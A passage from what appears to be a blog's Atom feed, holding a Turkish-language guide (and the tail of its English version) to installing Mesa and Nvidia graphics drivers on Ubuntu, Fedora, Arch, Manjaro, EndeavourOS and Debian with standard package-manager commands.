&lt;p&gt;After doing this, the system restarts, and theoretically, you're ready to play games. Good luck (you'll need it)!&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt;So that's the situation. Although driver business on Linux might look scary at first, once you grasp the logic, you say, "Why did I bother going from site to site on Windows?" Anyway, I'm off; an Arch system that needs updating is waiting for me (I hope it doesn't break 😅).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Arch Linux NVIDIA Graphics Card Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-linux-firmware-nvidia-hatasi-cozumu/"&gt;Arch Linux Linux Firmware NVIDIA Error Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/"&gt;Arch Linux NTSync Active Zen Kernel Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The RADV driver is constantly optimized by Valve engineers for the Steam Deck and Linux gaming. AMDVLK can remain more corporate-focused.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="linux"/><category term="gpu driver"/><category term="nvidia"/><category term="amd"/><category term="intel"/><category term="mesa"/><category term="steamos"/><category term="oyun"/><category term="debian"/></entry><entry><title>Linux GPU Sürücü Rehberi: AMD, Intel ve Nvidia İçin Stabil ve Temiz Kurulum</title><link href="https://yuceltoluyag.github.io/linux-gpu-driver-rehberi/" rel="alternate"/><published>2025-11-30T11:15:00+03:00</published><updated>2025-11-30T11:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/linux-gpu-driver-rehberi/</id><summary type="html">&lt;p&gt;Linux'ta sürücü kurmak Windows'taki gibi değil. Mesa 25.1 güncellemesi, Nvidia DKMS modülleri ve Debian inatçıları için özel rehber burada.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Windows'tan Linux'a ge&amp;ccedil;en herkesin ya&amp;scedil;ad&amp;inodot;&amp;gbreve;&amp;inodot; o ilk &amp;scedil;ok an&amp;inodot;n&amp;inodot; bilirim. Taray&amp;inodot;c&amp;inodot;y&amp;inodot; a&amp;ccedil;ars&amp;inodot;n, Nvidia veya AMD'nin sitesine girip "Download Driver" butonunu arars&amp;inodot;n... Ama dur! Linux d&amp;uuml;nyas&amp;inodot;nda i&amp;scedil;ler b&amp;ouml;yle y&amp;uuml;r&amp;uuml;m&amp;uuml;yor. Burada kurallar farkl&amp;inodot;, bazen kafa kar&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;c&amp;inodot; ama al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;nda &amp;ccedil;ok daha mant&amp;inodot;kl&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Bug&amp;uuml;n, sisteminizin kalbi olan grafik s&amp;uuml;r&amp;uuml;c&amp;uuml;lerini nas&amp;inodot;l kontrol edece&amp;gbreve;inizi, g&amp;uuml;ncelleyece&amp;gbreve;inizi ve o siyah ekran&amp;inodot; g&amp;ouml;rmeden bu i&amp;scedil;ten nas&amp;inodot;l s&amp;inodot;yr&amp;inodot;laca&amp;gbreve;&amp;inodot;n&amp;inodot;z&amp;inodot; anlataca&amp;gbreve;&amp;inodot;m. Kahvenizi al&amp;inodot;n, terminali a&amp;ccedil;&amp;inodot;n. Ba&amp;scedil;l&amp;inodot;yoruz.&lt;/p&gt;
&lt;h2 id="onemli-uyarlar-hemen-atlamayn"&gt;&amp;Ouml;nemli Uyar&amp;inodot;lar (Hemen Atlamay&amp;inodot;n!)&lt;a class="headerlink" href="#onemli-uyarlar-hemen-atlamayn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SteamOS Kullananlar:&lt;/strong&gt; E&amp;gbreve;er Steam Deck veya SteamOS kullan&amp;inodot;yorsan&amp;inodot;z, elinizi klavyeden &amp;ccedil;ekin. Valve, sistem g&amp;uuml;ncellemeleriyle s&amp;uuml;r&amp;uuml;c&amp;uuml;leri (Mesa) zaten size g&amp;ouml;nderiyor. Ekstra bir &amp;scedil;ey yapman&amp;inodot;za gerek yok, bozars&amp;inodot;n&amp;inodot;z. Bu rehber di&amp;gbreve;er Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot; i&amp;ccedil;in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Genel Kural:&lt;/strong&gt; S&amp;uuml;r&amp;uuml;c&amp;uuml; i&amp;scedil;lerine giri&amp;scedil;meden &amp;ouml;nce sisteminizi tamamen g&amp;uuml;ncelleyin ve yeniden ba&amp;scedil;lat&amp;inodot;n. "Ya bir &amp;scedil;ey olmaz" demeyin, oluyor. Tecr&amp;uuml;beyle sabit.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="amd-ve-intel-cephesi-mesa-nedir"&gt;AMD ve Intel Cephesi: Mesa Nedir?&lt;a class="headerlink" href="#amd-ve-intel-cephesi-mesa-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AMD ve Intel kullan&amp;inodot;c&amp;inodot;lar&amp;inodot;, Linux d&amp;uuml;nyas&amp;inodot;n&amp;inodot;n "&amp;scedil;ansl&amp;inodot;" kesimi. &amp;Ccedil;&amp;uuml;nk&amp;uuml; bu kartlar &lt;strong&gt;Mesa&lt;/strong&gt; kullan&amp;inodot;r. Mesa dedi&amp;gbreve;imiz &amp;scedil;ey tek bir s&amp;uuml;r&amp;uuml;c&amp;uuml; de&amp;gbreve;il, a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; s&amp;uuml;r&amp;uuml;c&amp;uuml;lerin topland&amp;inodot;&amp;gbreve;&amp;inodot; devasa bir koleksiyon.&lt;/p&gt;
&lt;p&gt;Duyaca&amp;gbreve;&amp;inodot;n&amp;inodot;z terimler &amp;scedil;unlar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RADV:&lt;/strong&gt; Mesa'n&amp;inodot;n AMD Vulkan s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml; (Topluluk ve Valve destekli, genelde en iyisi bu).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ANV:&lt;/strong&gt; Mesa'n&amp;inodot;n Intel Vulkan s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMDVLK:&lt;/strong&gt; AMD'nin kendi resmi a&amp;ccedil;&amp;inodot;k kaynak s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Benim tavsiyem (ve &amp;ccedil;o&amp;gbreve;u oyuncunun hemfikir oldu&amp;gbreve;u konu): &lt;strong&gt;RADV'den &amp;scedil;a&amp;scedil;may&amp;inodot;n.&lt;/strong&gt; AMDVLK bazen uyumluluk sorunlar&amp;inodot; &amp;ccedil;&amp;inodot;karabiliyor, RADV ise kaya gibi sa&amp;gbreve;lam.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id="hangi-mesa-surumunu-kullanyorum"&gt;Hangi Mesa S&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; Kullan&amp;inodot;yorum?&lt;a class="headerlink" href="#hangi-mesa-surumunu-kullanyorum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bunu &amp;ouml;&amp;gbreve;renmek i&amp;ccedil;in terminale k&amp;uuml;&amp;ccedil;&amp;uuml;k bir f&amp;inodot;s&amp;inodot;lt&amp;inodot; g&amp;ouml;ndermemiz laz&amp;inodot;m.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;glxinfo&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mesa"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er terminal size "Komut bulunamad&amp;inodot;" diye ba&amp;gbreve;&amp;inodot;r&amp;inodot;rsa (ki genelde ba&amp;gbreve;&amp;inodot;r&amp;inodot;r), &amp;scedil;u paketleri kurman&amp;inodot;z gerek:&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;glxinfo Kurulumu ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu/Mint/Debian:&lt;/strong&gt; &lt;code&gt;sudo apt install mesa-utils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arch Linux:&lt;/strong&gt; &lt;code&gt;sudo pacman -S mesa-utils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fedora:&lt;/strong&gt; &lt;code&gt;sudo dnf install glx-utils&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda &amp;scedil;&amp;ouml;yle bir &amp;ccedil;&amp;inodot;kt&amp;inodot; alacaks&amp;inodot;n&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;OpenGL core profile version string: 4.6 (Core Profile) Mesa 25.0.3-1ubuntu2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;strong&gt;Mesa 25.0.3&lt;/strong&gt; yazan yer var ya, i&amp;scedil;te o sizin s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml;z.&lt;/p&gt;
&lt;h3 id="mesa-nasl-guncellenir-ubuntu-kullanclar-icin-kritik-guncelleme"&gt;Mesa Nas&amp;inodot;l G&amp;uuml;ncellenir? (Ubuntu Kullan&amp;inodot;c&amp;inodot;lar&amp;inodot; &amp;Idot;&amp;ccedil;in Kritik G&amp;uuml;ncelleme!)&lt;a class="headerlink" href="#mesa-nasl-guncellenir-ubuntu-kullanclar-icin-kritik-guncelleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Buras&amp;inodot; biraz kar&amp;inodot;&amp;scedil;t&amp;inodot; ama toparlayal&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu ve T&amp;uuml;revleri (Mint vb.):&lt;/strong&gt;
Eskiden her s&amp;uuml;r&amp;uuml;m i&amp;ccedil;in Kisak PPA kullan&amp;inodot;rd&amp;inodot;k ama i&amp;scedil;ler de&amp;gbreve;i&amp;scedil;ti. Kisak, depolama limitleri y&amp;uuml;z&amp;uuml;nden &lt;strong&gt;eski s&amp;uuml;r&amp;uuml;mleri (18.04 Bionic, 20.04 Focal, 22.04 Jammy) emekliye ay&amp;inodot;rd&amp;inodot;.&lt;/strong&gt; Yani eski bir sisteminiz varsa bu kap&amp;inodot; size kapand&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Ama iyi haber &amp;scedil;u: E&amp;gbreve;er &lt;strong&gt;Ubuntu 25.04 (Plucky)&lt;/strong&gt; veya &lt;strong&gt;24.10 (Oracular)&lt;/strong&gt; kullan&amp;inodot;yorsan&amp;inodot;z, art&amp;inodot;k en g&amp;uuml;ncel &lt;strong&gt;Mesa 25.1&lt;/strong&gt; s&amp;uuml;r&amp;uuml;m&amp;uuml;ne (&amp;ouml;zellikle 25.1.5 bug-fix s&amp;uuml;r&amp;uuml;m&amp;uuml;ne) Kisak PPA ile kolayca ge&amp;ccedil;ebiliyorsunuz. Neden &amp;ouml;nemli? &amp;Ccedil;&amp;uuml;nk&amp;uuml; yeni &lt;strong&gt;DXVK&lt;/strong&gt; g&amp;uuml;ncellemeleri art&amp;inodot;k Mesa 25.1 &amp;ouml;neriyor. Proton ile oyun oynarken performans kayb&amp;inodot; ya&amp;scedil;amamak i&amp;ccedil;in bu &amp;scedil;art.&lt;/p&gt;
&lt;p&gt;K&amp;inodot;sacas&amp;inodot;, g&amp;uuml;ncel Ubuntu kullan&amp;inodot;yorsan&amp;inodot;z &amp;scedil;u komutlarla sistemi u&amp;ccedil;urun:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;add-apt-repository&lt;span class="w"&gt; &lt;/span&gt;ppa:kisak/kisak-mesa
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Arch, Fedora, Manjaro, EndeavourOS:&lt;/strong&gt;
Siz yine krals&amp;inodot;n&amp;inodot;z. Sisteminiz yuvarlanan (rolling) yap&amp;inodot;da oldu&amp;gbreve;u i&amp;ccedil;in normal g&amp;uuml;ncellemelerle Mesa'n&amp;inodot;n en son s&amp;uuml;r&amp;uuml;m&amp;uuml; zaten size gelir. Ekstra maceraya gerek yok.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="nvidia-cephesi-nazl-gelin_1"&gt;NVIDIA Cephesi: Nazl&amp;inodot; Gelin&lt;a class="headerlink" href="#nvidia-cephesi-nazl-gelin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Geldik i&amp;scedil;in en civcivli k&amp;inodot;sm&amp;inodot;na. Nvidia, Linux d&amp;uuml;nyas&amp;inodot;nda kapal&amp;inodot; kaynak kodlu (proprietary) s&amp;uuml;r&amp;uuml;c&amp;uuml;leriyle bilinir ve bazen bizi kanser eder. Ama performans i&amp;ccedil;in o s&amp;uuml;r&amp;uuml;c&amp;uuml;leri kurmak zorunday&amp;inodot;z.&lt;/p&gt;
&lt;h3 id="ubuntu-mint-kubuntu"&gt;Ubuntu / Mint / Kubuntu&lt;a class="headerlink" href="#ubuntu-mint-kubuntu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;En kolay&amp;inodot; bu. Men&amp;uuml;den &lt;strong&gt;"Yaz&amp;inodot;l&amp;inodot;m ve G&amp;uuml;ncellemeler"&lt;/strong&gt; (Software &amp;amp; Updates) uygulamas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;n, &lt;strong&gt;"Ek S&amp;uuml;r&amp;uuml;c&amp;uuml;ler"&lt;/strong&gt; (Additional Drivers) sekmesine gelin. Orada Nvidia s&amp;uuml;r&amp;uuml;c&amp;uuml;lerini g&amp;ouml;receksiniz. Tavsiye edilen s&amp;uuml;r&amp;uuml;m&amp;uuml; se&amp;ccedil;ip "Uygula" deyin.&lt;/p&gt;
&lt;p&gt;Ha, "Ben terminalciyim" derseniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;ubuntu-drivers&lt;span class="w"&gt; &lt;/span&gt;list
sudo&lt;span class="w"&gt; &lt;/span&gt;ubuntu-drivers&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;nvidia:560
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(560 yerine listede &amp;ccedil;&amp;inodot;kan en g&amp;uuml;ncel s&amp;uuml;r&amp;uuml;m&amp;uuml; yaz&amp;inodot;n tabii.)&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="pop_os"&gt;Pop!_OS&lt;a class="headerlink" href="#pop_os" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;System76 ekibi bu i&amp;scedil;i &amp;ccedil;&amp;ouml;zm&amp;uuml;&amp;scedil;. &lt;strong&gt;Pop!_Shop&lt;/strong&gt;'a girin, Nvidia s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; se&amp;ccedil;in ve kurun. Zaten ISO dosyas&amp;inodot;n&amp;inodot; indirirken Nvidia versiyonunu indirdiyseniz, s&amp;uuml;r&amp;uuml;c&amp;uuml;ler kurulu geliyor. Rahatl&amp;inodot;k seviyesi: %100.&lt;/p&gt;
&lt;h3 id="fedora-biraz-ugrastrr"&gt;Fedora (Biraz U&amp;gbreve;ra&amp;scedil;t&amp;inodot;r&amp;inodot;r)&lt;a class="headerlink" href="#fedora-biraz-ugrastrr" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Fedora, &amp;ouml;zg&amp;uuml;r yaz&amp;inodot;l&amp;inodot;m felsefesi gere&amp;gbreve;i Nvidia s&amp;uuml;r&amp;uuml;c&amp;uuml;lerini varsay&amp;inodot;lan olarak sunmaz. &amp;Ouml;nce &lt;strong&gt;RPM Fusion&lt;/strong&gt; deposunu eklemeniz laz&amp;inodot;m.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RPM Fusion Kurulumu:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k"&gt;$(&lt;/span&gt;rpm&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;%fedora&lt;span class="k"&gt;)&lt;/span&gt;.noarch.rpm&lt;span class="w"&gt; &lt;/span&gt;https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k"&gt;$(&lt;/span&gt;rpm&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;%fedora&lt;span class="k"&gt;)&lt;/span&gt;.noarch.rpm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;S&amp;uuml;r&amp;uuml;c&amp;uuml; Kurulumu:&lt;/strong&gt;
Modern kartlar i&amp;ccedil;in:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;akmod-nvidia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CUDA deste&amp;gbreve;i i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;xorg-x11-drv-nvidia-cuda
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Secure Boot Belas&amp;inodot;! 🛡️ E&amp;gbreve;er BIOS'ta Secure Boot a&amp;ccedil;&amp;inodot;ksa s&amp;uuml;r&amp;uuml;c&amp;uuml;y&amp;uuml; imzalaman&amp;inodot;z (sign) gerekir. Bu i&amp;scedil;lem tam bir ba&amp;scedil; a&amp;gbreve;r&amp;inodot;s&amp;inodot;d&amp;inodot;r (&lt;code&gt;kmodgenca&lt;/code&gt;, &lt;code&gt;mokutil&lt;/code&gt; vs.). E&amp;gbreve;er kurumsal bir zorunlulu&amp;gbreve;unuz yoksa, BIOS'tan Secure Boot'u kapatmak en k&amp;inodot;sa yol.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="arch-linux-dkms-detay"&gt;Arch Linux (DKMS Detay&amp;inodot;!)&lt;a class="headerlink" href="#arch-linux-dkms-detay" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Arch Wiki bu konuda bir derya deniz ama &amp;ouml;zet ge&amp;ccedil;eyim. Hangi kart&amp;inodot; kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z &amp;ccedil;ok &amp;ouml;nemli.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Turing (RTX 20 serisi) ve sonras&amp;inodot;:&lt;/strong&gt; Art&amp;inodot;k a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; kernel mod&amp;uuml;lleri &amp;ouml;neriliyor: &lt;code&gt;nvidia-open&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LTS Kernel Kullananlar:&lt;/strong&gt; &lt;code&gt;nvidia-open-lts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;"Ben U&amp;gbreve;ra&amp;scedil;amam" Diyenler &amp;Idot;&amp;ccedil;in Joker:&lt;/strong&gt; &lt;code&gt;nvidia-open-dkms&lt;/code&gt;. Bu paket, hangi kerneli kullan&amp;inodot;rsan&amp;inodot;z kullan&amp;inodot;n (Zen, LTS, Mainline) mod&amp;uuml;lleri otomatik derler. Kafan&amp;inodot;z rahat olur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ve en &amp;ouml;nemlisi, &lt;strong&gt;32-bit deste&amp;gbreve;i!&lt;/strong&gt; Steam oyunlar&amp;inodot;n&amp;inodot;n &amp;ccedil;o&amp;gbreve;u hala 32-bit k&amp;uuml;t&amp;uuml;phanelere ihtiya&amp;ccedil; duyar.
&lt;code&gt;/etc/pacman.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;n ve &lt;code&gt;[multilib]&lt;/code&gt; sat&amp;inodot;r&amp;inodot;n&amp;inodot;n ba&amp;scedil;&amp;inodot;ndaki &lt;code&gt;#&lt;/code&gt; i&amp;scedil;aretini kald&amp;inodot;r&amp;inodot;n.&lt;/p&gt;
&lt;p&gt;Sonra &amp;scedil;u komutla hem sistemi g&amp;uuml;ncelleyin hem de s&amp;uuml;r&amp;uuml;c&amp;uuml;leri kurun:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;nvidia-open-dkms&lt;span class="w"&gt; &lt;/span&gt;lib32-nvidia-utils
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(Eski kart kullan&amp;inodot;yorsan&amp;inodot;z &lt;code&gt;nvidia-open&lt;/code&gt; k&amp;inodot;s&amp;inodot;mlar&amp;inodot;n&amp;inodot; &lt;code&gt;nvidia&lt;/code&gt; yap&amp;inodot;n).&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="manjaro-ve-endeavouros"&gt;Manjaro ve EndeavourOS&lt;a class="headerlink" href="#manjaro-ve-endeavouros" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bu da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar i&amp;scedil;i kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;yor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manjaro:&lt;/strong&gt; &lt;code&gt;sudo mhwd -a pci nonfree 0300&lt;/code&gt; komutuyla otomatik kurulum yapar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EndeavourOS:&lt;/strong&gt; &lt;code&gt;nvidia-inst&lt;/code&gt; arac&amp;inodot; var. &lt;code&gt;nvidia-inst --32&lt;/code&gt; diyerek hem s&amp;uuml;r&amp;uuml;c&amp;uuml;y&amp;uuml; hem 32-bit deste&amp;gbreve;ini kurabilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="debian-inatclar-icin-ozel-bolum"&gt;Debian (&amp;Idot;nat&amp;ccedil;&amp;inodot;lar &amp;Idot;&amp;ccedil;in &amp;Ouml;zel B&amp;ouml;l&amp;uuml;m)&lt;a class="headerlink" href="#debian-inatclar-icin-ozel-bolum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;D&amp;uuml;r&amp;uuml;st olay&amp;inodot;m, oyun i&amp;ccedil;in &lt;strong&gt;Debian Stable&lt;/strong&gt; kullanmak, Formula 1 pistine trakt&amp;ouml;rle girmek gibidir. S&amp;uuml;r&amp;uuml;c&amp;uuml;ler &amp;ccedil;ok eski kal&amp;inodot;r. Ama "Ben Debian'dan vazge&amp;ccedil;mem, kararl&amp;inodot;l&amp;inodot;k benim g&amp;ouml;bek ad&amp;inodot;m" diyorsan&amp;inodot;z, sayg&amp;inodot; duyar&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;S&amp;inodot;rf sizin i&amp;ccedil;in, sab&amp;inodot;rs&amp;inodot;z Debian sava&amp;scedil;&amp;ccedil;&amp;inodot;lar&amp;inodot;na &amp;ouml;zel "H&amp;inodot;zl&amp;inodot; Kurulum Re&amp;ccedil;etesi"ni &amp;scedil;uraya b&amp;inodot;rak&amp;inodot;yorum. Bu komutlar &lt;code&gt;non-free&lt;/code&gt; depolar&amp;inodot; a&amp;ccedil;ar, 32-bit mimariyi ekler ve Steam ile Nvidia s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; kurar.&lt;/p&gt;
&lt;p&gt;Terminale &lt;code&gt;su -&lt;/code&gt; yaz&amp;inodot;p root olduktan sonra s&amp;inodot;ras&amp;inodot;yla:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 32-bit mimariyi ekle&lt;/span&gt;
dpkg&lt;span class="w"&gt; &lt;/span&gt;--add-architecture&lt;span class="w"&gt; &lt;/span&gt;i386

&lt;span class="c1"&gt;# Sources listesini d&amp;uuml;zenle (Manuel yapman gerekebilir)&lt;/span&gt;
&lt;span class="c1"&gt;# /etc/apt/sources.list dosyas&amp;inodot;ndaki her sat&amp;inodot;r&amp;inodot;n sonuna&lt;/span&gt;
&lt;span class="c1"&gt;# "non-free contrib" ekle. (&amp;Ouml;rn: main non-free contrib)&lt;/span&gt;

&lt;span class="c1"&gt;# Ve final vuru&amp;scedil;u:&lt;/span&gt;
apt&lt;span class="w"&gt; &lt;/span&gt;update
apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;steam&lt;span class="w"&gt; &lt;/span&gt;nvidia-driver
reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bunu yapt&amp;inodot;ktan sonra sistem yeniden ba&amp;scedil;lar ve teorik olarak oyun oynamaya haz&amp;inodot;rs&amp;inodot;n&amp;inodot;zd&amp;inodot;r. &amp;Idot;yi &amp;scedil;anslar (ihtiyac&amp;inodot;n&amp;inodot;z olacak)!&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt;Yani durum bu. Linux'ta s&amp;uuml;r&amp;uuml;c&amp;uuml; i&amp;scedil;i ilk ba&amp;scedil;ta korkutucu g&amp;ouml;r&amp;uuml;nse de, bir kez mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kavray&amp;inodot;nca "Ne gerek varm&amp;inodot;&amp;scedil; Windows'ta site site gezmeye" diyorsunuz. Neyse, ben ka&amp;ccedil;t&amp;inodot;m, g&amp;uuml;ncellemem gereken bir Arch sistemi beni bekliyor (Umar&amp;inodot;m patlamaz 😅).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Arch Linux NVIDIA Ekran Kart&amp;inodot; Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-linux-firmware-nvidia-hatasi-cozumu/"&gt;Arch Linux Linux Firmware NVIDIA Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/"&gt;Arch Linux NTSync Aktif Etme Zen Kernel Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
